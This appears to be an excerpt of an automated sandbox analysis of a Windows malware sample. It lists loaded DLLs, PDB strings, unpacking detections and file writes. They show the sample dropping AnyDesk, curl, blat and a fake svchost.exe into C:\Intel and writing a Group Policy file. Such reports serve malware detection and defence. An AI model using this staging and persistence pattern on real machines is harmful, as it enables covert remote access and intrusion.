Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cscapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textshaping.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dwmapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textinputframework.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coreuicomponents.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: amsi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: version.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dbghelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: symsrv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dataexchange.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: d3d11.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dcomp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dxgi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msasn1.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textshaping.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textinputframework.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coreuicomponents.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\dc.exe	Section loaded: apphelp.dll
Source: C:\Intel\dc.exe	Section loaded: wsock32.dll
Source: C:\Intel\dc.exe	Section loaded: version.dll
Source: C:\Intel\dc.exe	Section loaded: winmm.dll
Source: C:\Intel\dc.exe	Section loaded: mpr.dll
Source: C:\Intel\dc.exe	Section loaded: wininet.dll
Source: C:\Intel\dc.exe	Section loaded: userenv.dll
Source: C:\Intel\dc.exe	Section loaded: edgegdi.dll
Source: C:\Intel\dc.exe	Section loaded: uxtheme.dll
Source: C:\Intel\dc.exe	Section loaded: windows.storage.dll
Source: C:\Intel\dc.exe	Section loaded: wldp.dll
Source: C:\Intel\dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\dc.exe	Section loaded: sspicli.dll
Source: C:\Intel\dc.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\dc.exe	Section loaded: amsi.dll
Source: C:\Intel\dc.exe	Section loaded: profapi.dll
Source: C:\Intel\dc.exe	Section loaded: sxs.dll
Source: C:\Intel\dc.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: C:\Intel\AnyDesk\AnyDesk.exe

Window found: window name: SysTabControl32

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File opened: C:\Windows\SysWOW64\msftedit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491427148.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540141039.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524843314.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541638849.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574654752.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576130105.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600022730.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601462876.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607750156.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609008428.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629093837.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000002D.00000000.3646802058.000000000165A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: CoreUIComponents.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: TextInputFramework.pdbRl source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: CoreMessaging.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: TextInputFramework.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: policymanager.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491427148.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540141039.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524843314.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541638849.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574654752.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576130105.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600022730.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601462876.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607750156.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609008428.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629093837.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Intel\svchost.exe	Unpacked PE file: 45.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 47.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 48.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 50.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 51.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 52.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 58.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 59.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Intel\curl.exe

Code function: 37_2_00991CE0 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

37_2_00991CE0

Source: driver.exe.37.dr	Static PE information: real checksum: 0x0 should be: 0x52e17
Source: 7z.dll.43.dr	Static PE information: real checksum: 0x0 should be: 0x4e196
Source: ShellEh6055.dll.43.dr	Static PE information: real checksum: 0x0 should be: 0x128e9
Source: ShellEh6055x64.dll.43.dr	Static PE information: real checksum: 0x0 should be: 0x21e91
Source: delReg.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x13839
Source: blat.exe.38.dr	Static PE information: real checksum: 0x0 should be: 0x48812
Source: Tray.dll.43.dr	Static PE information: real checksum: 0x0 should be: 0x1919f
Source: eqRHH2whJu.exe	Static PE information: real checksum: 0x41877 should be: 0xf95c2
Source: curl.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1bceac
Source: unins000.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x131f98

Source: 7z.dll.43.dr	Static PE information: section name: .sxdata
Source: Tray.dll.43.dr	Static PE information: section name: .shared

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_0224352E pushfd ; retf	0_3_02243539
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_02243943 pushfd ; ret	0_3_02243959
Source: C:\Intel\curl.exe	Code function: 37_2_009E01E0 push ecx; mov dword ptr [esp], ecx	37_2_009E01E1
Source: C:\Intel\curl.exe	Code function: 37_2_00A042B0 push ecx; mov dword ptr [esp], edx	37_2_00A042B1
Source: C:\Intel\curl.exe	Code function: 37_2_009E0250 push ecx; mov dword ptr [esp], ecx	37_2_009E0251
Source: C:\Intel\curl.exe	Code function: 37_2_00A14750 push ecx; mov dword ptr [esp], ecx	37_2_00A14751
Source: C:\Intel\curl.exe	Code function: 37_2_00A36F40 push ecx; mov dword ptr [esp], edx	37_2_00A36F41
Source: C:\Intel\curl.exe	Code function: 37_2_00A47400 push ecx; mov dword ptr [esp], ecx	37_2_00A47401
Source: C:\Intel\curl.exe	Code function: 37_2_00A4F620 push ecx; mov dword ptr [esp], ecx	37_2_00A4F621
Source: C:\Intel\curl.exe	Code function: 37_2_00A17980 push ecx; mov dword ptr [esp], ecx	37_2_00A17981
Source: C:\Intel\curl.exe	Code function: 37_2_00A19D50 push ecx; mov dword ptr [esp], ecx	37_2_00A19D51
Source: C:\Intel\curl.exe	Code function: 37_2_00A77F05 push ecx; ret	37_2_00A77F18
Source: C:\Intel\driver.exe	Code function: 43_2_0040106C push 00000BADh; ret	43_2_00401078
Source: C:\Intel\driver.exe	Code function: 43_2_00442470 push eax; ret	43_2_004424F8
Source: C:\Intel\driver.exe	Code function: 43_2_00437778 push ecx; mov dword ptr [esp], edx	43_2_0043777F
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00403DC4 push eax; ret	44_2_00403E00
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00407840 push 0040786Ch; ret	44_2_00407864
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00407610 push 00407661h; ret	44_2_00407659
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_004079AC push 004079D8h; ret	44_2_004079D0
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00414560 push 004146DCh; ret	44_2_004146D4
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00414A08 push 00414A34h; ret	44_2_00414A2C
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_004146DE push 0041474Fh; ret	44_2_00414747
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_004146E0 push 0041474Fh; ret	44_2_00414747
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00492086 push 004920F2h; ret	44_2_004920EA
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00492098 push 004920F2h; ret	44_2_004920EA
Source: C:\Intel\svchost.exe	Code function: 45_3_0400189C pushfd ; retf 0000h	45_3_040018AB
Source: C:\Intel\svchost.exe	Code function: 45_2_03E38310 push E803E3C2h; ret	45_2_03E38315
Source: C:\Intel\svchost.exe	Code function: 45_2_03E392BA push 03E392FFh; ret	45_2_03E392F7
Source: C:\Intel\svchost.exe	Code function: 45_2_03E392BC push 03E392FFh; ret	45_2_03E392F7
Source: C:\Intel\svchost.exe	Code function: 45_2_03E34A68 push 03E34AB9h; ret	45_2_03E34AB1
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3A27C push 03E3A2A8h; ret	45_2_03E3A2A0

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677E9752-898.pma
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\lockfile
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version
